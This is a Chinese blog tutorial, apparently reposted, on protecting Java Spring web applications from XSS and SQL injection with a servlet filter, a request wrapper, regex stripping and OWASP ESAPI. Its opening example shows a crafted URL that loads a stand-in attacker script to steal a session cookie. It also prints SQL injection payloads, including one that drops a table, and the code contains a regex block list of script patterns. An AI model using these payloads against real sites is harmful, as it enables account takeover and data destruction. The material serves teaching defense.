原文連接javascript
最近重溫了一下「黑客帝國」系列電影,一攻一防實屬精彩,生活中咱們可能不多有機會觸及那麼深刻的網絡安全問題,但工做中請別忽略你身邊的精彩php
你們應該都聽過 XSS (Cross-site scripting) 攻擊問題,或多或少會有一些瞭解,但貌似不多有人將這個問題放在心上。一部分人是存有僥倖心理:「誰會無聊攻擊咱們的網站呢?」;另外一部分人多是工做職責所在,不多觸碰這個話題。但願你們看過這篇文章以後能將問題重視起來,並有本身的解決方案, 目前XSS攻擊問題依舊很嚴峻:html
Cross-site scripting(XSS)是Web應用程序中常見的一種計算機安全漏洞,XSS 使攻擊者可以將客戶端腳本注入其餘用戶查看的網頁中。 攻擊者可能會使用跨站點腳本漏洞繞過訪問控制,例如同源策略。 截至2007年,Symantec(賽門鐵克) 在網站上執行的跨站腳本佔據了全部安全漏洞的 84% 左右。2017年,XSS 仍被視爲主要威脅載體,XSS 影響的範圍從輕微的麻煩到重大的安全風險,影響範圍的大小,取決於易受攻擊的站點處理數據的敏感性方式以及站點全部者實施對數據處理的安全策略。前端
XSS 類型的劃分以及其餘概念性的東西在此就不作過多說明,Wikipedia Cross-site scripting 說明的很是清晰,本文主要經過舉例讓讀者看到 XSS 攻擊的嚴重性,同時提供相應的解決方案java
不喜歡看 XSS 案例的,請跳過此處,直接去看 解決方案 。Bob 和 Alice 兩我的是常常用做案例(三次握手,SSH認證等)說明的,沒錯下面的這些案例也會讓他們再上頭條😆git
Alice 常常訪問由 Bob 託管的特定網站, Bob 的網站容許 Alice 使用用戶名/密碼登錄後,存儲敏感數據,例如帳單信息。當用戶登陸時,瀏覽器會保留一個受權 Cookie,它看起來像一些垃圾字符,這樣兩臺計算機(客戶端和服務器)都有一條她已登陸的記錄。github
Mallory 觀察到 Bob 的網站包含一個 XSS 漏洞:web
http://bobssite.org/search?q=puppies
這是徹底正常的行爲。<script type ='application / javascript'> alert('xss'); </ script>
http://bobssite.org/search?q= <script%20type ='application / javascript'> alert('xss'); </ script>
, 這是一個可利用的行爲Mallory製做了一個利用此漏洞的URL:spring
http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js「> </ script>
。她選擇使用百分比編碼 encode ASCII字符,例如 http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22 %3E%3C%2Fscript%3E
,這樣讀者就沒法當即破譯這個惡意 URLAlice 到電子郵件, 她喜歡小狗並點擊連接。它進入Bob的網站進行搜索,找不到任何內容,並顯示「找不到小狗」, 但就在這時,腳本標籤運行(Alice 在屏幕上看不到)並加載並運行 Mallory 的程序 authstealer.js(觸發了 XSS攻擊)sql
authstealer.js 程序在 Alice 的瀏覽器中運行,就像正常訪問 Bob 的網站同樣。但該程序抓取 Alice 的受權 Cookie 副本並將其發送到 Mallory 的服務器
Mallory 如今將 Alice 的受權 Cookie 放入她的瀏覽器中,而後她去了 Bob 的網站,並以 Alice 身份登陸。
Mallory 假借 Alice 身份進入網站的帳單部分,查找 Alice 的信用卡號碼並抓取副本。而後她去改變她的密碼,這樣事後愛麗絲甚至不能再登陸了。
Mallory 決定更進一步向 Bob 本人發送一個相似的連接,從而得到Bob的網站管理員權限。
當向用戶詢問輸入時,一般會發生 SQL 注入,例如用戶名/用戶ID,用戶會爲您提供一條 SQL 語句,您將無心中在數據庫上運行該語句。 請查看如下示例,該示例經過向選擇字符串添加變量(txtUserId)來建立SELECT語句。 該變量是從用戶輸入(getRequestString)獲取的:
txtUserId = getRequestString("UserId");
txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;
複製代碼
當用戶輸入 userId = 105 OR 1=1
,這時 SQL 會是這個樣子:
SELECT * FROM Users WHERE UserId = 105 OR 1=1;
複製代碼
OR 條件始終爲 true,這樣就有可能獲取所有用戶信息 若是用戶輸入 userId = 105; DROP TABLE Suppliers
,這時 SQL 語句會是這樣子
SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers;
複製代碼
這樣 Suppliers 表就被不知情的狀況下刪除掉了
經過上面的例子能夠看出,XSS 相關問題可大可小,大到泄露用戶數據,使系統崩潰;小到頁面發生各類意想不到的異常。「蒼蠅不叮無縫的蛋」,咱們須要拿出解決方案,修復這個裂縫。但解決 XSS 問題須要多種方案的配合使用:
先不要向下看,思考一下,在整個 HTTP RESTful 請求過程當中,若是採用後端服務作請求數據的過濾與替換,你能想到哪些解決方案?
文末關注公衆號,帶你像讀偵探小說同樣趣味學習 Java 技術
使用 Spring AOP 橫切全部 API 入口,貌似能夠很輕鬆的實現,But(英文聽力重點😂),RESTful API 設計並非統一的入參格式,有 GET 請求的 RequestParam 的入參,也有 POST 請求RequestBody的入參,不一樣的入參很難進行統一處理,因此這並非很好的方式,關於 RESTful 接口的設計,能夠參考 如何設計好的 RESTful API?
請求的 JSON 數據都要過 HttpMessageConverter 進行轉換,一般咱們能夠經過添加 MappingJackson2HttpMessageConverter
並重寫 readInternal
方法:
@Override
protected Object readInternal(Class<?> clazz, HttpInputMessage inputMessage) throws IOException, HttpMessageNotReadableException {
return super.readInternal(clazz, inputMessage);
}
複製代碼
獲取到轉換事後的 Java 對象後對當前對象作處理,但這種方式沒有辦法處理 GET 請求,因此也不是一個很好的方案,想詳細瞭解 HttpMessageConverter 數據轉換過程能夠查看 HttpMessageConverter是如何轉換數據的?
Servlet Filter 不過多介紹,經過 Filter 能夠過濾 HTTP Request,咱們能夠拿到請求的全部信息,因此咱們能夠在這裏大作文章 咱們有兩種方式自定義咱們的 Filter
javax.servlet.Filter
接口org.springframework.web.filter.OncePerRequestFilter
抽象類 這裏採用第二種方式:@Slf4j
public class GlobalSecurityFilter extends OncePerRequestFilter {
@Override
protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException {
String userInput = request.getParameter("param");
if (userInput != null && !userInput.equalsIgnoreCase(HtmlUtils.htmlEscape(userInput))) {
throw new RuntimeException();
}
String requestBody = IOUtils.toString(request.getInputStream(), "UTF-8");
if (requestBody != null && !requestBody.equalsIgnoreCase(HtmlUtils.htmlEscape(requestBody))) {
throw new RuntimeException();
}
filterChain.doFilter(request, response);
}
}
複製代碼
而後註冊 Filter
@Bean
public FilterRegistrationBean filterRegistrationBean() {
FilterRegistrationBean registration = new FilterRegistrationBean();
registration.setFilter(globalSecurityFilter());
//URL 過濾 pattern 設置
registration.addUrlPatterns(validatePath + "/*");
registration.setOrder(5);
return registration;
}
@Bean(name = "globalSecurityFilter")
public Filter globalSecurityFilter() {
return new GlobalSecurityFilter();
}
複製代碼
這種方案貌似能夠很簡單粗暴的解決,但會有如下幾個問題:
request.getInputStream()
讀取流,只能讀取一次,調用責任鏈後續 filter 會致使 request.getInputStream()
內容爲空,即使這是 Filter 責任鏈中的最後一個 filter,程序運行到 HttpMessageConverter 時也會拋出異常。想了解 Filter 責任鏈的調用過程,能夠查看 不得不知的責任鏈設計模式HttpServletRequestWrapper
完成流的屢次讀取,當你看到這個名稱 XXXWrapper
,你應該想到這應用了 Java 的設計模式——裝飾模式(這是偵探的基本素養 😄),先來看類圖:
HttpServletRequestWrapper 繼承 ServletRequestWrapper 並實現了 HttpServletRequest 接口,咱們只需定義本身的 Wrapper,並重寫裏面的方法便可
@Slf4j
public class GlobalSecurityRequestWrapper extends HttpServletRequestWrapper {
//將讀取的流內容存儲在 body 字符串中
private final String body;
//定義Pattern數組,用於正則匹配,可添加其餘pattern規則至此
private static Pattern[] patterns = new Pattern[]{
// Script fragments
Pattern.compile("<script>(.*?)</script>",Pattern.CASE_INSENSITIVE),
// src='...'
Pattern.compile("src[\r\n]*=[\r\n]*\\\'(.*?)\\\'",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
Pattern.compile("src[\r\n]*=[\r\n]*\\\"(.*?)\\\"",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
// lonely script tags
Pattern.compile("</script>",Pattern.CASE_INSENSITIVE),
Pattern.compile("<script(.*?)>",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
// eval(...)
Pattern.compile("eval\\((.*?)\\)",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
// expression(...)
Pattern.compile("expression\\((.*?)\\)",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL),
// javascript:...
Pattern.compile("javascript:",Pattern.CASE_INSENSITIVE),
// vbscript:...
Pattern.compile("vbscript:",Pattern.CASE_INSENSITIVE),
//在此添加其餘 Pattern,更多 Pattern 內容,能夠從文末 demo 處獲取所有代碼
};
/** *經過構造函數裝飾 HttpServletRequest,同時將流內容存儲在 body 字符串中 */
public GlobalSecurityRequestWrapper(HttpServletRequest servletRequest) throws IOException{
super(servletRequest);
StringBuilder stringBuilder = new StringBuilder();
BufferedReader bufferedReader = null;
try {
InputStream inputStream = servletRequest.getInputStream();
if (inputStream != null) {
bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
char[] charBuffer = new char[128];
int bytesRead = -1;
while ((bytesRead = bufferedReader.read(charBuffer)) > 0) {
stringBuilder.append(charBuffer, 0, bytesRead);
}
} else {
stringBuilder.append("");
}
} catch (IOException ex) {
throw ex;
} finally {
if (bufferedReader != null) {
try {
bufferedReader.close();
} catch (IOException ex) {
throw ex;
}
}
}
//將requestBody內容以字符串形式存儲在變量body中
body = stringBuilder.toString();
log.info("過濾和替換前,requestBody 內容爲: 【{}】", body);
}
/** * 將 body 字符串從新轉換爲ServletInputStream, 用於request.inputStream 讀取流 * @return * @throws IOException */
@Override
public ServletInputStream getInputStream() throws IOException {
String encodedBody = stripXSS(body);
log.info("過濾和替換後,requestBody 內容爲: 【{}】", encodedBody);
final ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(encodedBody.getBytes());
ServletInputStream servletInputStream = new ServletInputStream() {
@Override
public int read() throws IOException {
return byteArrayInputStream.read();
}
@Override
public boolean isFinished() {
return byteArrayInputStream.available() == 0;
}
@Override
public boolean isReady() {
return true;
}
@Override
public void setReadListener(ReadListener readListener) {
}
};
return servletInputStream;
}
/** * 調用該方法,能夠屢次獲取 requestBody 內容 * @return */
public String getBody() {
return this.body;
}
@Override
public BufferedReader getReader() throws IOException {
return new BufferedReader(new InputStreamReader(this.getInputStream()));
}
/** * 獲取 request (http://127.0.0.1/test?a=1&b=2) 請求參數,多個參數返回 String[] 數組 * @param parameter * @return */
@Override
public String[] getParameterValues(String parameter) {
String[] values = super.getParameterValues(parameter);
if (values == null) {
return null;
}
int count = values.length;
String[] encodedValues = new String[count];
for (int i = 0; i < count; i++) {
encodedValues[i] = stripXSS(values[i]);
}
return encodedValues;
}
/** * 獲取單個請求參數 * @param parameter * @return */
@Override
public String getParameter(String parameter) {
String value = super.getParameter(parameter);
return stripXSS(value);
}
/** * 獲取請求頭信息 * @param name * @return */
@Override
public String getHeader(String name) {
String value = super.getHeader(name);
return stripXSS(value);
}
/** * 標準過濾和替換方法 * @param value * @return */
private String stripXSS(String value){
if (value != null) {
// 使用 ESAPI 避免 encoded 的代碼攻擊
value = ESAPI.encoder().canonicalize(value, false, false);
value = patternReplace(value);
}
return value;
}
/** * 根據 Pattern 替換字符 */
private String patternReplace(String value){
if (StringUtils.isNotBlank(value)){
// 避免null
value = value.replaceAll("\0", "");
// 根據Pattern匹配到的字符,作""替換
for (Pattern scriptPattern : patterns){
value = scriptPattern.matcher(value).replaceAll("");
}
}
return value;
}
}
複製代碼
至此,修改 GlobalSecurityFilter 中代碼,將重寫好的 GlobalSecurityRequestWrapper 從新放入到 FilterChain 中
GlobalSecurityRequestWrapper xssHttpServletRequestWrapper = new GlobalSecurityRequestWrapper(request);
filterChain.doFilter(xssHttpServletRequestWrapper, response);
複製代碼
上面全部方法都添加了註解,很容易理解,咱們看到在 stripXSS 方法中引入了 ESAPI ,關於如何引入 ESAPI,請看當前文章 ESAPI引入方式 部份內容,來看代碼:
ESAPI.encoder().canonicalize(value, false, false);
複製代碼
這段代碼是 ESAPI 最簡單的使用方式,主要防止 encoded 的代碼進行 XSS 攻擊,這種簡單的使用在 GET 請求中沒有問題,但若是是 POST 請求,requestBody 中數據有 "", 會被替換掉,這樣就破壞了json 的結構,致使後續解析出錯. 爲何會這樣呢? ESAPI.encoder()
構造出默認的 DefaultEncoder
, 查看該類發現:
/** * Instantiates a new DefaultEncoder */
private DefaultEncoder() {
codecs.add( htmlCodec );
codecs.add( percentCodec );
codecs.add( javaScriptCodec );
}
複製代碼
其中 javaScriptCodec
是按照 JavaScript 標準將 "" 替換成 "", 因此咱們須要作定製改變,繼續查看 Encoder
接口,找到下面方法:
String canonicalize(String input, boolean restrictMultiple, boolean restrictMixed);
複製代碼
經過查看該方法的註釋咱們瞭解到,能夠經過 DefaultEncoder 帶參數構造器構造本身的 encoder:
List codecs = new ArrayList(2);
codecs.add( new HTMLEntityCodec());
codecs.add( new PercentCodec());
DefaultEncoder defaultEncoder = new DefaultEncoder(Arrays.asList("HTMLEntityCodec", "PercentCodec"));
複製代碼
因此咱們能夠從新定義一個 stripXSSRequestBody 方法用在 重寫的 getInputStream 方法中
/** * 請求體處理,多用於json數據,自定義encoder,排除掉javascriptcodec * @param value * @return */
private String stripXSSRequestBody(String value){
if (value != null) {
List codecs = new ArrayList(4);
codecs.add( new HTMLEntityCodec() );
codecs.add( new PercentCodec());
DefaultEncoder defaultEncoder = new DefaultEncoder(Arrays.asList("HTMLEntityCodec", "PercentCodec"));
// 使用 ESAPI 避免 encoded 的代碼攻擊
value = defaultEncoder.canonicalize(value, false, false);
value = patternReplace(value);
}
return value;
}
複製代碼
解決了 RequestBody 的問題,咱們須要進一步解決防 SQL 注入查詢的問題,咱們能夠在重寫的 getParameterValues
方法中使用以下方法:
/** * 防Sql注入,多用於帶參數查詢 * @param value * @return */
private String stripXSSSql(String value) {
Codec MYSQL_CODEC = new MySQLCodec(MySQLCodec.Mode.STANDARD);
if (value != null) {
// 使用 ESAPI 避免 encoded 的代碼攻擊
value = ESAPI.encoder().canonicalize(value, false, false);
value = ESAPI.encoder().encodeForSQL(MYSQL_CODEC, value);
}
return value;
}
複製代碼
ESAPI.encoder()還有不少定製化的過濾,請小夥伴動手自行發現和定製,這裏再也不作過多的解釋 問題還沒解決完,涉及到文件上傳的業務,能夠經過其餘方式作文件魔術數字
校驗,文件後綴
校驗,文件大小
校驗等方式,不必在這個地方校驗 XSS 內容,因此咱們須要再對 Filter 作出一些改變,不處理 contentType 爲 multipart/form-data
的請求
String contentType = request.getContentType();
if (StringUtils.isNotBlank(contentType) && contentType.contains("multipart/form-data")){
filterChain.doFilter(request, response);
}else {
GlobalSecurityRequestWrapper xssHttpServletRequestWrapper = new GlobalSecurityRequestWrapper((HttpServletRequest)request);
filterChain.doFilter(xssHttpServletRequestWrapper, response);
}
複製代碼
固然這種方式還有進一步的改善空間,好比添加白名單(YAML配置的方式)等,具體業務還須要具體分析,不過讀到這裏,相信你們的思路已經打開,能夠進行自我創做了.
ESAPI(Enterprise Security API)是一個免費開源的Web應用程序API,目的幫助開發者開發出更加安全的代碼, 更多介紹請查看 OWASP 或 ESAPI github 使用 ESAPI,咱們要引入相應的 jar 包
compile group: 'org.owasp.esapi', name: 'esapi', version: '2.0.1'
複製代碼
<dependency>
<groupId>org.owasp.esapi</groupId>
<artifactId>esapi</artifactId>
<version>2.0.1</version>
</dependency>
複製代碼
resources 根目錄下添加 ESAPI.properties
文件和 validation.properties
兩個文件,至此咱們就可使用 ESAPI 幫助咱們解決 XSS 問題了,文件內容能夠經過下載 ESAPI source 獲取,也能夠從 Demo 下載地址中獲取
關注公衆號瞭解更多能夠提升工做效率的工具,同時帶你像看偵探小說同樣趣味學習 Java 技術
Key Promoter X 是 IntelliJ IDEA 的一個學習快捷鍵的工具,當你用鼠標在 IDE 中點擊某些功能,Key Promoter X 會在 IDE 右下角提示你應該用哪一種快捷鍵代替,若是當前操縱沒有設置相應快捷鍵,你也能夠經過它快速設置,提升操做效率
文末關注公衆號「日拱一兵」,回覆 「demo」獲取 Demo 代碼